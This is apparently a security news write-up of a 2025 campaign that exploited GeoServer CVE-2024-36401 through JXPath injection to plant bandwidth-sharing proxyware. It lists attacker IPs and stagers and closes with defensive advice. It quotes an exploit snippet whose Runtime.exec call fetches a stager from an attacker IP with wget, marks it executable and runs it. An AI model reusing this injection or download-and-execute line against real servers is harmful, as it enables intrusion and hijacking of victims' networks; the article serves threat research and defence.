A covert operation surfaced in early March 2025, leveraging a significant remote code execution vulnerability in GeoServer (CVE-2024-36401) to infiltrate publicly accessible geospatial servers.

Perpetrators capitalized on JXPath query injection within Apache Commons libraries, facilitating arbitrary code execution via expertly crafted XML requests.

This access point allowed the discreet installation of tailored executables that utilized legitimate passive-income software development kits (SDKs) and tools, effectively transforming victim networks into illegal proxy farms.

Shortly after the first wave, Palo Alto Networks analysts observed a notable increase in probing efforts against susceptible GeoServer instances.

Exposed GeoServer distribution in the five countries where they are most commonly hosted (Source – Palo Alto Networks)

Cortex Xpanse telemetry uncovered over 3,700 publicly reachable servers in the first week of May 2025, highlighting the extensive attack surface accessible to threat actors.

These adversaries acted swiftly to avoid detection, rotating distribution IPs from 37.187.74[.]75 to 185.246.84[.]189 and broadening backend infrastructure to include a transfer.sh-style file-sharing service on port 8080.

The monetization tactic behind this initiative prioritized long-term stealth over immediate resource depletion.

Instead of implementing noisy cryptocurrency miners, attackers deployed two primary payloads: a misappropriated SDK that discreetly aggregated bandwidth-sharing sessions among infected devices, and a misused app that generated concealed directories and activated executables with minimal resource usage.

Both payloads emulated legitimate passive-income services, complicating detection through signature-based safeguards.

Victims remained oblivious as their systems silently routed web traffic or engaged in residential proxy networks.

By incorporating authentic Dart-compiled binaries, the attackers capitalized on cross-platform capabilities to target Linux servers and elude detection signatures crafted for more prevalent malware languages.

Indicators of compromise encompassed connections to hxxp://37.187.74[.]75:8080 and hxxp://64.226.112[.]52:8080, where stage-one scripts such as z593 retrieved additional stagers.

Infection Mechanism Deep Dive

One of the most nefarious features of this campaign is its exploitation of JXPath’s extension functions.

Upon receiving a crafted GetPropertyValue request, GeoServer’s property accessor mechanism transmitted an attacker-controlled expression into the iteratePointers method.

This payload subsequently invoked the javax.lang.Runtime.exec function, initiating remote command execution.

Malicious code containing a JXPath referencing a Java execution function (Source – Palo Alto Networks)

A snippet illustrating this injection follows:


  <![CDATA[
    Runtime.exec("wget http://185.246.84.189:8080/z593 -O /tmp/z593; chmod +x /tmp/z593; /tmp/z593"
  )]]>

Upon successful execution, z593 functioned as a stager, creating a concealed folder under /var/tmp/.cache and retrieving two further payloads: z401, which set up the execution environment, and z402, which initiated the primary executable with an embedded SDK key.

Payload from an exploit found in the wild (Source – Palo Alto Networks)

By chaining these stages, the attackers achieved persistence and ensured that bandwidth-sharing processes resumed automatically upon reboot.

Through this meticulous, multi-stage strategy, threat actors have showcased how utilizing legitimate SDKs and file-sharing services can enable undetected monetization of network resources.

Security teams are advised to apply GeoServer patches immediately, monitor outbound connections to recognized malicious IPs, and implement behavioral analytics capable of identifying abnormal JXPath queries to counter similar campaigns.